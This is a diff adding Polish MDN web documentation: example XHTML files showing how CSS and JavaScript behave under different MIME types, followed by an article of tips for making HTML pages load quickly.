+ &lt;dt&gt;Netscape 7.0x/Mozilla 1.0.x&lt;/dt&gt;
+ &lt;dd&gt;Nie zastosuje CSS, ale uruchomi JavaScript.&lt;/dd&gt;
+ &lt;dt&gt;Internet Explorer 5.5+&lt;/dt&gt;
+ &lt;dd&gt;Nie wyświetli dokumentu.&lt;/dd&gt;
+ &lt;/dl&gt;
+
+ &lt;p&gt;
+ &lt;a href="http://validator.w3.org/check/referer"&gt;&lt;img
+ src="http://www.w3.org/Icons/valid-xhtml10"
+ alt="Valid XHTML 1.0!" height="31" width="88" /&gt;&lt;/a&gt;
+ &lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+<p><a href="pl/Poprawne_zastosowanie_CSS_i_JavaScript_w_dokumentach_XHTML#Zastosowanie_komentarzy_wewn.C4.85trz_style_i_script">Powrót do artykułu</a>
+</p>
+<h4 id="Problem_3" name="Problem_3"> Problem 3 </h4>
+<pre>&lt;!-- Ten plik powinien mieć rozszerzenie .xhtml
+ i wygeneruje on błąd przy próbie parsowania. --&gt;
+
+&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"&gt;
+&lt;html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US"&gt;
+&lt;head&gt;
+ &lt;title&gt;Problem 3 - komentarze w XML&lt;/title&gt;
+ &lt;meta http-equiv="Content-Type" content="application/xhtml+xml; charset=utf-8" /&gt;
+ &lt;script type="text/javascript"&gt;
+ var i;
+ var sum = 0;
+
+ for (i = 10; i &gt; 0; --i)
+ {
+ sum += i;
+ }
+ &lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+ &lt;h1&gt;Problem 3 - komentarze w XHTML&lt;/h1&gt;
+ &lt;p&gt;
+ Ten plik nie jest dobrze zbudowany ze względu na zastosowanie podwójnego
+ myślnika w komentarzu.
+ &lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+<p><a href="pl/Poprawne_zastosowanie_CSS_i_JavaScript_w_dokumentach_XHTML#style_i_script_zawieraj.C4.85ce_podw.C3.B3jne_my.C5.9Blniki">Powrót do artykułu</a>
+</p>
+<h3 id="Przyk.C5.82ady_dla_.22Zastosowanie_CSS_w_wewn.C4.99trznym_style_w_komentarzach.22" name="Przyk.C5.82ady_dla_.22Zastosowanie_CSS_w_wewn.C4.99trznym_style_w_komentarzach.22"> Przykłady dla "<a href="pl/Poprawne_zastosowanie_CSS_i_JavaScript_w_dokumentach_XHTML#Zastosowanie_CSS_w_wewn.C4.99trznym_style_w_komentarzach">Zastosowanie CSS w wewnętrznym &lt;tt&gt;style&lt;/tt&gt; w komentarzach</a>" </h3>
+<h4 id="Przyk.C5.82ad_1" name="Przyk.C5.82ad_1"> Przykład 1 </h4>
+<pre>&lt;!-- Ten plik powinien mieć rozszerzenie .html --&gt;
+
+&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"&gt;
+&lt;html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US"&gt;
+&lt;head&gt;
+ &lt;title&gt;Przykład 1 - XHTML 1.0 Strict jako text/html&lt;/title&gt;
+ &lt;meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" /&gt;
+ &lt;style type="text/css"&gt;
+ &lt;!--
+ body { padding-top: 8em; }
+ html { color: #fff; background: #000 no-repeat fixed;}
+ p {width: 30em; font-weight: bold;}
+ --&gt;
+ &lt;/style&gt;
+&lt;/head&gt;
+&lt;body&gt;
+ &lt;h1&gt;Przykład 1 - XHTML 1.0 Strict jako text/html&lt;/h1&gt;
+ &lt;p&gt;
+ Ten plik jest poprawnym XHTML 1.0 Strict podanym jako
+ &lt;code&gt;text/html&lt;/code&gt;.
+ &lt;/p&gt;
+
+ &lt;p&gt;
+ Ten dokument zawiera wewnętrzne reguły CSS zawarte w elemencie
+ &lt;code&gt;style&lt;/code&gt; i otoczony przez komentarz SGML.
+ &lt;/p&gt;
+
+ &lt;p&gt;
+ Zwróć uwagę, jak zastosowano CSS dla tła w Netscape 7.x,
+ Mozilli, Operze 7 i Internet Explorerze 5.5+.
+ &lt;/p&gt;
+
+ &lt;p&gt;
+ &lt;a href="http://validator.w3.org/check/referer"&gt;&lt;img
+ src="http://www.w3.org/Icons/valid-xhtml10"
+ alt="Valid XHTML 1.0!" height="31" width="88" /&gt;&lt;/a&gt;
+ &lt;/p&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+<p><a href="pl/Poprawne_zastosowanie_CSS_i_JavaScript_w_dokumentach_XHTML#Zastosowanie_CSS_w_wewn.C4.99trznym_style_w_komentarzach">Powrót do artykułu</a>
+</p>
+<h4 id="Przyk.C5.82ad_2" name="Przyk.C5.82ad_2"> Przykład 2 </h4>
+<pre>&lt;!-- Ten plik powinien mieć rozszerzenie .xml --&gt;
+
+&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"&gt;
+&lt;html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US"&gt;
+&lt;head&gt;
+ &lt;title&gt;Przykład 2 - XHTML 1.0 Strict jako text/xml&lt;/title&gt;
+ &lt;meta http-equiv="Content-Type" content="text/xml; charset=utf-8" /&gt;
+ &lt;style type="text/css"&gt;
+ &lt;!--
+ body { padding-top: 8em; }
+ html { color: #fff; background: #000 no-repeat fixed;}
+ p {width: 30em; font-weight: bold;}
+ --&gt;
+ &lt;/style&gt;
+&lt;/head&gt;
+&lt;body&gt;
+ &lt;h1&gt;Przykład 2 - XHTML 1.0 Strict jako text/xml&lt;/h1&gt;
+ &lt;p&gt;
+ Ten dokument jest poprawnym XHTML 1.0 Strict podanym jako
+ &lt;code&gt;text/xml&lt;/code&gt;.
+ &lt;/p&gt;
+
+ &lt;p&gt;
+ Ten dokument zawiera wewnętrzny CSS zawarty w elemencie
+ &lt;code&gt;style&lt;/code&gt; i otoczony przez komentarz SGML.
+ &lt;/p&gt;
+
+ &lt;p&gt;
+ Zauważ, że CSS dla tła &lt;strong&gt;nie&lt;/strong&gt;
+ jest zastosowywany w Netscape 7.x, Mozilli i Operze 7 oraz że
+ Internet Explorer 5.5+ nie może w ogóle wyświetlić popranie strony.
+ &lt;/p&gt;
+
+ &lt;p&gt;
+ &lt;a href="http://validator.w3.org/check/referer"&gt;&lt;img
+ src="http://www.w3.org/Icons/valid-xhtml10"
+ alt="Valid XHTML 1.0!" height="31" width="88" /&gt;&lt;/a&gt;
+ &lt;/p&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+<p><a href="pl/Poprawne_zastosowanie_CSS_i_JavaScript_w_dokumentach_XHTML#Zastosowanie_CSS_w_wewn.C4.99trznym_style_w_komentarzach">Powrót do artykułu</a>
+</p>
+<h4 id="Przyk.C5.82ad_3" name="Przyk.C5.82ad_3"> Przykład 3 </h4>
+<pre>&lt;!-- Ten plik powinien mieć rozszerzenie .xhtml --&gt;
+
+&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"&gt;
+&lt;html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US"&gt;
+&lt;head&gt;
+ &lt;title&gt;Przykład 3 - XHTML 1.0 Strict jako application/xhtml+xml&lt;/title&gt;
+ &lt;meta http-equiv="Content-Type" content="application/xhtml+xml; charset=utf-8" /&gt;
+ &lt;style type="text/css"&gt;
+ &lt;!--
+ body { padding-top: 8em; }
+ html { color: #fff; background: #000 no-repeat fixed;}
+ p {width: 30em; font-weight: bold;}
+ --&gt;
+ &lt;/style&gt;
+&lt;/head&gt;
+&lt;body&gt;
+ &lt;h1&gt;Przykład 3 - XHTML 1.0 Strict jako application/xhtml+xml&lt;/h1&gt;
+ &lt;p&gt;
+ Ten dokument jest poprawnym XHTML 1.0 Strict podanym jako
+ &lt;code&gt;application/xhtml+xml&lt;/code&gt;.
+ &lt;/p&gt;
+
+ &lt;p&gt;
+ Ten dokument zawiera wewnętrzny CSS zawarty w elemencie
+ &lt;code&gt;style&lt;/code&gt; i otoczony przez komentarz SGML.
+ &lt;/p&gt;
+
+ &lt;p&gt;
+ Zauważ, że CSS dla tła &lt;strong&gt;nie&lt;/strong&gt; jest
+ stosowywany w Netscape 7.x, Mozilli i Operze 7 oraz, że
+ Internet Explorer 5.5+ nie może w ogóle wyświetlić poprawnie dokumentu.
+ &lt;/p&gt;
+
+ &lt;p&gt;
+ &lt;a href="http://validator.w3.org/check/referer"&gt;&lt;img
+ src="http://www.w3.org/Icons/valid-xhtml10"
+ alt="Valid XHTML 1.0!" height="31" width="88" /&gt;&lt;/a&gt;
+ &lt;/p&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+<p><a href="pl/Poprawne_zastosowanie_CSS_i_JavaScript_w_dokumentach_XHTML#Zastosowanie_CSS_w_wewn.C4.99trznym_style_w_komentarzach">Powrót do artykułu</a>
+</p>
+<h3 id="Przyk.C5.82ady_dla_.22Zastosowanie_CSS_w_zewn.C4.99trznym_pliku.22" name="Przyk.C5.82ady_dla_.22Zastosowanie_CSS_w_zewn.C4.99trznym_pliku.22"> Przykłady dla "<a href="pl/Poprawne_zastosowanie_CSS_i_JavaScript_w_dokumentach_XHTML#Zastosowanie_CSS_w_zewn.C4.99trznym_pliku">Zastosowanie CSS w zewnętrznym pliku</a>" </h3>
+<h4 id="Przyk.C5.82ad_4" name="Przyk.C5.82ad_4"> Przykład 4 </h4>
+<pre>&lt;!-- Ten plik powinien mieć rozszerzenie .html --&gt;
+
+&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"&gt;
+&lt;html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US"&gt;
+&lt;head&gt;
+ &lt;title&gt;Przykład 4 - XHTML 1.0 Strict jako text/html&lt;/title&gt;
+ &lt;meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" /&gt;
+ &lt;link rel="stylesheet" type="text/css" href="style.css" /&gt;
+&lt;/head&gt;
+&lt;body&gt;
+ &lt;h1&gt;Przykład 4 - XHTML 1.0 Strict jako text/html&lt;/h1&gt;
+ &lt;p&gt;
+ Ten dokument jest poprawnym XHTML 1.0 Strict podanym jako
+ &lt;code&gt;text/html&lt;/code&gt;.
+ &lt;/p&gt;
+
+ &lt;p&gt;
+ Ten dokument odwołuje się do zewnętrznego pliku
+ arkusza stylów poprzez &lt;code&gt;link&lt;/code&gt;.
+ &lt;/p&gt;
+
+ &lt;p&gt;
+ Zauważ, że CSS dla tła jest zastosowywany w Netscape 7.x,
+ Mozilli, Operze 7 i Internet Explorerze 5.5+.
+ &lt;/p&gt;
+
+ &lt;p&gt;
+ &lt;a href="http://validator.w3.org/check/referer"&gt;&lt;img
+ src="http://www.w3.org/Icons/valid-xhtml10"
+ alt="Valid XHTML 1.0!" height="31" width="88" /&gt;&lt;/a&gt;
+ &lt;/p&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+<p>Przed samodzielnym testowaniem tego przykład, przeczytaj <a href="#Wa.C5.BCne_uwagi">to</a>.
+</p><p><a href="pl/Poprawne_zastosowanie_CSS_i_JavaScript_w_dokumentach_XHTML#Zastosowanie_CSS_w_zewn.C4.99trznym_pliku">Powrót do artykułu</a>
+</p>
+<h4 id="Przyk.C5.82ad_5" name="Przyk.C5.82ad_5"> Przykład 5 </h4>
+<pre>&lt;!-- Ten plik powinien mieć rozszerzenie .xml --&gt;
+
+&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"&gt;
+&lt;html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US"&gt;
+&lt;head&gt;
+ &lt;title&gt;Przykład 5 - XHTML 1.0 Strict jako text/xml&lt;/title&gt;
+ &lt;meta http-equiv="Content-Type" content="text/xml; charset=utf-8" /&gt;
+ &lt;link rel="stylesheet" type="text/css" href="style.css" /&gt;
+ &lt;/style&gt;
+&lt;/head&gt;
+&lt;body&gt;
+ &lt;h1&gt;Przykład 5 - XHTML 1.0 Strict jako text/xml&lt;/h1&gt;
+ &lt;p&gt;
+ Ten dokument jest poprawnym XHTML 1.0 Strict podanym jako
+ &lt;code&gt;text/xml&lt;/code&gt;.
+ &lt;/p&gt;
+
+ &lt;p&gt;
+ Ten dokument odwołuje się do CSS-a umieszczonego w zewnętrznym pliku
+ arkusza stylów poprzez &lt;code&gt;link&lt;/code&gt;.
+ &lt;/p&gt;
+
+ &lt;p&gt;
+ Zauważ, że CSS dla tła jest zastosowywany w Netscape 7.x,
+ Mozilli, Operze 7 ale że Internet Explorer nie może w ogóle wyświetlić tego dokumentu.
+ &lt;/p&gt;
+
+ &lt;p&gt;
+ &lt;a href="http://validator.w3.org/check/referer"&gt;&lt;img
+ src="http://www.w3.org/Icons/valid-xhtml10"
+ alt="Valid XHTML 1.0!" height="31" width="88" /&gt;&lt;/a&gt;
+ &lt;/p&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+<p>Przed samodzielnym testowaniem tego przykładu przeczytaj <a href="#Wa.C5.BCne_uwagi">to</a>.
+</p><p><a href="pl/Poprawne_zastosowanie_CSS_i_JavaScript_w_dokumentach_XHTML#Zastosowanie_CSS_w_zewn.C4.99trznym_pliku">Powrót do artykułu</a>
+</p>
+<h4 id="Przyk.C5.82ad_6" name="Przyk.C5.82ad_6"> Przykład 6 </h4>
+<pre>&lt;!-- Ten plik powinien mieć rozszerzenie .xhtml --&gt;
+
+&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"&gt;
+&lt;html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US"&gt;
+&lt;head&gt;
+ &lt;title&gt;Przykład 6 - XHTML 1.0 Strict jako application/xhtml+xml&lt;/title&gt;
+ &lt;meta http-equiv="Content-Type" content="application/xhtml+xml; charset=utf-8" /&gt;
+ &lt;link rel="stylesheet" type="text/css" href="style.css" /&gt;
+ &lt;/style&gt;
+&lt;/head&gt;
+&lt;body&gt;
+ &lt;h1&gt;Przykład 6 - XHTML 1.0 Strict jako application/xhtml+xml&lt;/h1&gt;
+ &lt;p&gt;
+ Ten dokument jest poprawnym XHTML 1.0 Strict podanym jako
+ &lt;code&gt;application/xhtml+xml&lt;/code&gt;.
+ &lt;/p&gt;
+
+ &lt;p&gt;
+ Ten dokument odwołuje się do CSS umieszczonego w zewnętrznym pliku
+ arkusza stylów poprzez &lt;code&gt;link&lt;/code&gt;.
+ &lt;/p&gt;
+
+ &lt;p&gt;
+ Zauważ, że CSS dla tła jest zastosowywany w Netscape 7.x,
+ Mozilli, Operze 7 oraz, że Internet Explorer nie może w ogóle wyświetylić dokumentu.
+ &lt;/p&gt;
+
+ &lt;p&gt;
+ &lt;a href="http://validator.w3.org/check/referer"&gt;&lt;img
+ src="http://www.w3.org/Icons/valid-xhtml10"
+ alt="Valid XHTML 1.0!" height="31" width="88" /&gt;&lt;/a&gt;
+ &lt;/p&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+<p>Przed samodzielnym testowaniem tego przykładu, przeczytaj <a href="#Wa.C5.BCne_uwagi">to</a>.
+</p><p><a href="pl/Poprawne_zastosowanie_CSS_i_JavaScript_w_dokumentach_XHTML#Zastosowanie_CSS_w_zewn.C4.99trznym_pliku">Powrót do artykułu</a>
+</p>
+<h4 id="Arkusz_styl.C3.B3w" name="Arkusz_styl.C3.B3w"> Arkusz stylów </h4>
+<pre>/*
+ * Jeśli próbujesz wyświetlić wyniki tych przykładów,
+ * będziesz musiał utworzyć plik o nazwie style.css
+ * z poniższą zawartością w tym samym katalogu co
+ * przykłady.
+ */
+
+body { padding-top: 8em; }
+html { color: #fff; background: #000 no-repeat fixed;}
+p {width: 30em; font-weight: bold;}
+</pre>
+{{ languages( { "en": "en/Properly_Using_CSS_and_JavaScript_in_XHTML_Documents/Examples" } ) }}
diff --git a/files/pl/porady_odnośnie_tworzenia_szybko_ładujących_się_stron_html/index.html b/files/pl/porady_odnośnie_tworzenia_szybko_ładujących_się_stron_html/index.html
new file mode 100644
index 0000000000..ca28673b5a
--- /dev/null
+++ b/files/pl/porady_odnośnie_tworzenia_szybko_ładujących_się_stron_html/index.html
@@ -0,0 +1,115 @@
+---
+title: Porady odnośnie tworzenia szybko ładujących się stron HTML
+slug: Porady_odnośnie_tworzenia_szybko_ładujących_się_stron_HTML
+tags:
+ - HTML
+ - Wszystkie_kategorie
+---
+<p> </p><p><span class="comment">Streszczenie: Nauczyć się zdroworozsądkowych porad odnośnie tworzenia stron HTML, które ładują się szybko i dają satysfakcję odwiedzającemu.</span>
+</p>
+<h2 id="Porady_odno.C5.9Bnie_tworzenia_szybko_.C5.82aduj.C4.85cych_si.C4.99_stron_HTML" name="Porady_odno.C5.9Bnie_tworzenia_szybko_.C5.82aduj.C4.85cych_si.C4.99_stron_HTML"> Porady odnośnie tworzenia szybko ładujących się stron HTML </h2>
+<p>Poniższe porady są oparte na powszechnej wiedzy i eksperymentach. Jeśli masz dodatkowe wskazówki, które mogą pomóc innym zwiększyć szybkość ładowania się ich stron WWW, zapisz swoje sugestie na <a>stronie dyskusji tego artykułu</a>.
+</p><p>Zoptymalizowana strona internetowa nie oznacza jedynie szybszej reakcji na odwiedzających twoją witrynę, ale także zmniejsza obciążenie twoich serwerów WWW i łącza internetowego. Może się to okazać kluczowe dla witryn o dużym natężeniu lub witryn, w których następuje nagły skok odwiedzalności z powodu niecodziennych okoliczności takich, jak sensacyjne historie podawane w mediach.
+</p><p>Optymalizacja ładowania się strony nie służy tylko treściom, które zostaną obejrzane przez wąską grupę odwiedzających korzystających z modemu. Jest ona tak samo ważna dla treści szerokopasmowych i może zaowocować wielkimi usprawnieniami również dla odwiedzających z najszybszymi połączeniami. </p>
+<h3 id="Porady" name="Porady"> Porady </h3>
+<h4 id="Zmniejsz_rozmiar_strony" name="Zmniejsz_rozmiar_strony"> Zmniejsz rozmiar strony </h4>
+<p>Rozmiar strony jest zdecydowanie najistotniejszym czynnikiem wpływającym na szybkość jej ładowania.
+</p><p>Zmniejszenie rozmiaru strony poprzez usunięcie niepotrzebnych białych spacji i komentarzy oraz przeniesienie wpisanych skryptów i arkuszy stylów do zewnętrznych plików może zwiększyć szybkość ładowania się strony minimalizując pozostałe zmiany w strukturze strony.
+</p><p>Narzędzia, takie jak <a class="external" href="http://tidy.sourceforge.net/">HTML Tidy</a>, mogą automatycznie usunąć dodatkowe nowe linie i poprzedzające je białe spacje z poprawnego kodu HTML. Inne narzędzia mogą "skompresować" JavaScript reformatując kod źródłowy lub czyniąc źródło mniej zrozumiałym i redukując długie identyfikatory do krótszych wersji.
+</p>
+<h4 id="Zminimalizuj_liczb.C4.99_plik.C3.B3w" name="Zminimalizuj_liczb.C4.99_plik.C3.B3w"> Zminimalizuj liczbę plików </h4>
+<p>Zmniejszenie liczby plików, do których odwołuje się strona sieciowa zmniejsza liczbę połączeń HTTP koniecznych do pobrania strony.
+</p><p>Zależnie od ustawień cache przeglądarki, może ona wysłać do serwera żądanie &lt;tt&gt;If-Modified-Since&lt;/tt&gt; dla każdego pliku CSS, JavaScript lub obrazka, pytając tym samym, czy plik został zmodyfikowany od czasu ostatniego pobrania.
+</p><p>Zmniejszając liczbę plików, do których odwołuje się strona internetowa, zmniejszasz czas potrzebny do wysłania tych żądań i otrzymania odpowiedzi.
+</p><p>Zbyt wiele czasu poświęconego wysyłaniu zapytań o czas ostatniej modyfikacji powiązanych plików może opóźnić pierwsze wyświetlenie strony jako że przeglądarka musi sprawdzić czas modyfikacji każdego pliku CSS lub JavaScript przed jej wyrenderowaniem.
+</p>
+<h4 id="Zmniejsz_liczb.C4.99_wywo.C5.82a.C5.84_domen" name="Zmniejsz_liczb.C4.99_wywo.C5.82a.C5.84_domen"> Zmniejsz liczbę wywołań domen </h4>
+<p>Ponieważ każda oddzielna domena pochłania czas wywołania DNS, zmniejszenie liczby oddzielnych domen, z których korzysta się do tworzenia odnośników do plików CSS, JavaScript i obrazków, zmniejsza czas ładowania się strony.
+</p><p>Nie zawsze musi się to okazać praktyczne, jednakże powinieneś zawsze zwracać uwagę na to, aby w miarę możliwości używać na swoich stronach minimalnej liczby różnych domen.
+</p>
+<h4 id="Przechowuj_w_cache_wielokrotnie_wykorzystywane_tre.C5.9Bci" name="Przechowuj_w_cache_wielokrotnie_wykorzystywane_tre.C5.9Bci"> Przechowuj w cache wielokrotnie wykorzystywane treści </h4>
+<p>Upewnij się, że każda treść, która może być składowana w cache, jest tam przechowywana z odpowiednim czasem wygaśnięcia.
+</p><p>W szczególności zwróć uwagę na nagłówek Last-Modified. Pozwala on efektywnie przechowywać strony w cache; nagłówek ten informuje agenta użytkownika o tym, kiedy nastąpiła ostatnia modyfikacja pliku, który ma zostać załadowany. Dla stron statycznych (np. .html, .css) większość serwerów WWW automatycznie doda nagłówek Last-Modified, opierając się na dacie ostatniej modyfikacji przechowywanej w systemie plików. Dla stron dynamicznych (np. .php, .aspx) oczywiście nie może to zostać wykonane i nagłówek nie jest wysyłany.
+</p><p>Zatem w szczególności dla stron, które są generowane dynamicznie, nieco pracy wykonanej w tym zakresie jest korzystne. Może być to nieco kłopotliwe, ale zaoszczędzi mnóstwo zapytań o strony, które w innym wypadku nie mogłyby być składowane w cache.
+</p><p>Więcej informacji:
+</p>
+<ol><li> <a class="external" href="http://fishbowl.pastiche.org/2002/10/21/http_conditional_get_for_rss_hackers">HTTP Conditional Get dla hakerów RSS</a>
+</li><li> <a class="external" href="http://annevankesteren.nl/archives/2005/05/http-304">HTTP 304: Not Modified</a>
+</li><li> <a class="external" href="http://www.cmlenz.net/blog/2005/05/on_http_lastmod.html">O HTTP Last-Modified i ETag</a>
+</li></ol>
+<h4 id="Optymalnie_porz.C4.85dkuj_komponenty_strony" name="Optymalnie_porz.C4.85dkuj_komponenty_strony"> Optymalnie porządkuj komponenty strony </h4>
+<p>Pobierz treść strony w pierwszej kolejności, dzięki czemu użytkownik najszybciej otrzyma widoczny efekt pobierania.
+</p><p>Zawartość strony wraz z wszelkimi arkuszami CSS lub skryptami JavaScript wymaganymi do jej pierwszego wyświetlenia powinna zostać pobrana jako pierwsza. Stanowi ją zwykle tekst i można zyskać na jego kompresji w modemie, zapewniając tym samym szybszą reakcję na zapytanie użytkownika.
+</p><p>Wszystkie mechanizmy DHTML, które wymagają, aby strona została pobrana w całości przed ich użyciem, powinny być początkowo dezaktywowane i uaktywnione dopiero po pobraniu strony. Dzięki temu skrypty DHTML JavaScript zostaną pobrane po zawartości strony, zwiększając tym samym całkowitą wydajność jej ładowania.
+</p>
+<h4 id="Zmniejsz_liczb.C4.99_skrypt.C3.B3w_wpisanych" name="Zmniejsz_liczb.C4.99_skrypt.C3.B3w_wpisanych"> Zmniejsz liczbę skryptów wpisanych </h4>
+<p>Skrypty wpisane mogą być kosztowne dla czasu ładowania się strony, jako że parser musi założyć, że skrypt wpisany może zmodyfikować strukturę strony. Zmniejszenie wykorzystania skryptów wpisanych w ogólności, a w szczególności użycia instrukcji <code>document.write</code> do wypisywania zawartości, może zwiększyć całkowitą szybkość ładowania się strony. W nowoczesnych przeglądarkach do manipulowania zawartością strony należy używać nowoczesnych metod W3C DOM, zamiast starszych rozwiązań opartych na <code>document.write</code>.
+</p>
+<h4 id="U.C5.BCywaj_nowoczesnego_CSS_i_poprawnej_sk.C5.82adni_znacznik.C3.B3w" name="U.C5.BCywaj_nowoczesnego_CSS_i_poprawnej_sk.C5.82adni_znacznik.C3.B3w"> Używaj nowoczesnego CSS i poprawnej składni znaczników </h4>
+<p>Wykorzystanie nowoczesnego CSS zmniejsza ilość znaczników, może zmniejszyć potrzebę wstawiania obrazków tworzących układ graficzny strony i może na wiele sposobów zastąpić obrazki, które faktycznie przedstawiają jedynie tekst i mają dużo większy rozmiar niż odpowiedni CSS i tekst przez niego opisywany.
+</p><p>Korzystanie z poprawnej składni znaczników ma inne zalety. Oprócz tego, że przeglądarka nie musi wykonywać "korekty błędów" podczas parsowania HTML, poprawna składnia znaczników pozwala na swobodne korzystanie z innych narzędzi, które mogą <i>pre-procesować</i> twoje strony internetowe. Na przykład <a class="external" href="http://tidy.sourceforge.net/">HTML Tidy</a> może usunąć białe spacje i opcjonalne znaczniki zamykające, jednak odmówi uruchomienia na stronie z poważnymi błędami składniowymi.
+</p>
+<h4 id="Segmentuj_zawarto.C5.9B.C4.87" name="Segmentuj_zawarto.C5.9B.C4.87"> Segmentuj zawartość </h4>
+<p>Albo zastąp układ graficzny strony oparty na tabelach na rzecz znaczników div, albo podziel tabele na mniejsze tabelki, które będą mogły zostać wyświetlone bez potrzeby pobierania całej zawartości strony.
+</p><p>Zamiast wielokrotnie zagnieżdżać tabele, jak w poniższym przykładzie:
+</p>
+<pre>&lt;TABLE&gt;
+ &lt;TABLE&gt;
+ &lt;TABLE&gt;
+ ...
+ &lt;/TABLE&gt;
+ &lt;/TABLE&gt;
+&lt;/TABLE&gt;</pre>
+<p>Skorzystaj z niezagnieżdżonych tabel lub znaczników div, np.
+</p>
+<pre>&lt;TABLE&gt;...&lt;/TABLE&gt;
+&lt;TABLE&gt;...&lt;/TABLE&gt;
+&lt;TABLE&gt;...&lt;/TABLE&gt;</pre>
+<h4 id="Okre.C5.9Blaj_rozmiary_obrazk.C3.B3w_i_tabel" name="Okre.C5.9Blaj_rozmiary_obrazk.C3.B3w_i_tabel"> Określaj rozmiary obrazków i tabel </h4>
+<p>Jeżeli przeglądarka może natychmiast wyznaczyć wysokość i/lub szerokość twoich obrazków i tabel, będzie mogła wyświetlić stronę internetową bez potrzeby ponownego opływania jej zawartości. To nie tylko przyspieszy wyświetlenie strony, ale także zapobiegnie irytującym zmianom w układzie graficznym strony po zakończeniu pobierania.
+</p><p>Obrazki powinny mieć ustawione atrybuty <code>height</code> oraz <code>width</code>.
+</p><p>Tabele powinny korzystać z reguły CSS <code>table-layout: fixed</code> i określać szerokość kolumn za pomocą znaczników <code>COL</code> i <code>COLGROUP</code>.
+</p>
+<h4 id="M.C4.85drze_dobieraj_wymagania_agenta_u.C5.BCytkownika" name="M.C4.85drze_dobieraj_wymagania_agenta_u.C5.BCytkownika"> Mądrze dobieraj wymagania agenta użytkownika </h4>
+<p>W celu osiągnięcia największych usprawnień w konstrukcji strony, upewnij się, że dla projektów określono rozsądne wymagania agenta użytkownika. Nie wymagaj, aby zawartość strony wyświetlała się idealnie z dokładnością co do piksela we wszystkich przeglądarkach, szczególnie w tych przestarzałych.
+</p><p>W idealnej sytuacji, twoje podstawowe wymagania minimalne powinny być oparte na nowoczesnych przeglądarkach, które wspierają odpowiednie standardy. Można do nich zaliczać: Netscape 7/Gecko 1.0.2+ na dowolnej platformie, Internet Explorer 5.5+ na Windows, Opera 7+ na Windows lub Safari na Mac OS X.
+</p><p>Zauważ jednak, że wiele porad umieszczonych w tej notce technicznej to zdroworozsądkowe techniki, które stosują się do dowolnego agenta użytkownika i mogą być zastosowane na dowolnej stronie niezależnie od wymagań technicznych przeglądarki.
+</p>
+<h3 id="Przyk.C5.82adowa_struktura_strony" name="Przyk.C5.82adowa_struktura_strony"> Przykładowa struktura strony </h3>
+<p>· <code>HTML</code>
+</p>
+<dl><dd> · <code>HEAD</code>
+</dd></dl>
+<dl><dd><dl><dd> · <code>LINK </code>...<br>Pliki CSS wymagane do określenia wyglądu strony. Zminimalizuj liczbę linii, aby zwiększyć wydajność, dzieląc jednocześnie niezwiązane ze sobą CSS na oddzielne pliki w celu ułatwienia konserwacji.
+</dd></dl>
+</dd></dl>
+<dl><dd><dl><dd> · <code>SCRIPT </code>...<br>Pliki JavaScript zawierające funkcje <b>wymagane</b> podczas ładowania strony, ale nie DHTML, który może zostać wykonany dopiero po załadowaniu strony.
+</dd><dd> Zminimalizuj liczbę plików, aby zwiększyć wydajność, dzieląc jednocześnie niezwiązane ze sobą skrypty JavaScript na oddzielne pliki w celu ułatwienia konserwacji.
+</dd></dl>
+</dd></dl>
+<dl><dd> · <code>BODY</code>
+</dd><dd> · Widoczna dla użytkownika zawartość podzielona na małe segmenty (tabele / div), które mogą zostać wyświetlone bez potrzeby czekania na pobranie całej strony.
+</dd></dl>
+<dl><dd><dl><dd> · <code>SCRIPT </code>...<br>Wszystkie skrypty, które zostaną użyte jako DHTML. Skrypt DHTML zwykle może zostać wykonany dopiero po całkowitym załadowaniu strony i inicjalizacji wszystkich niezbędnych obiektów. Nie ma potrzeby ładowania tych skryptów przed zawartością strony. To jedynie opóźnia pierwsze widoczne efekty ładowania strony.
+</dd><dd> Zminimalizuj liczbę plików, aby zwiększyć wydajność, dzieląc jednocześnie niezwiązane ze sobą skrypty JavaScript na oddzielne pliki w celu ułatwienia konserwacji.
+</dd><dd> Jeśli jakieś obrazki są używane w efektach rollover, powinieneś zastosować wobec nich preload po pobraniu zawartości strony.
+</dd></dl>
+</dd></dl>
+<h3 id="Powi.C4.85zane_odno.C5.9Bniki" name="Powi.C4.85zane_odno.C5.9Bniki"> Powiązane odnośniki </h3>
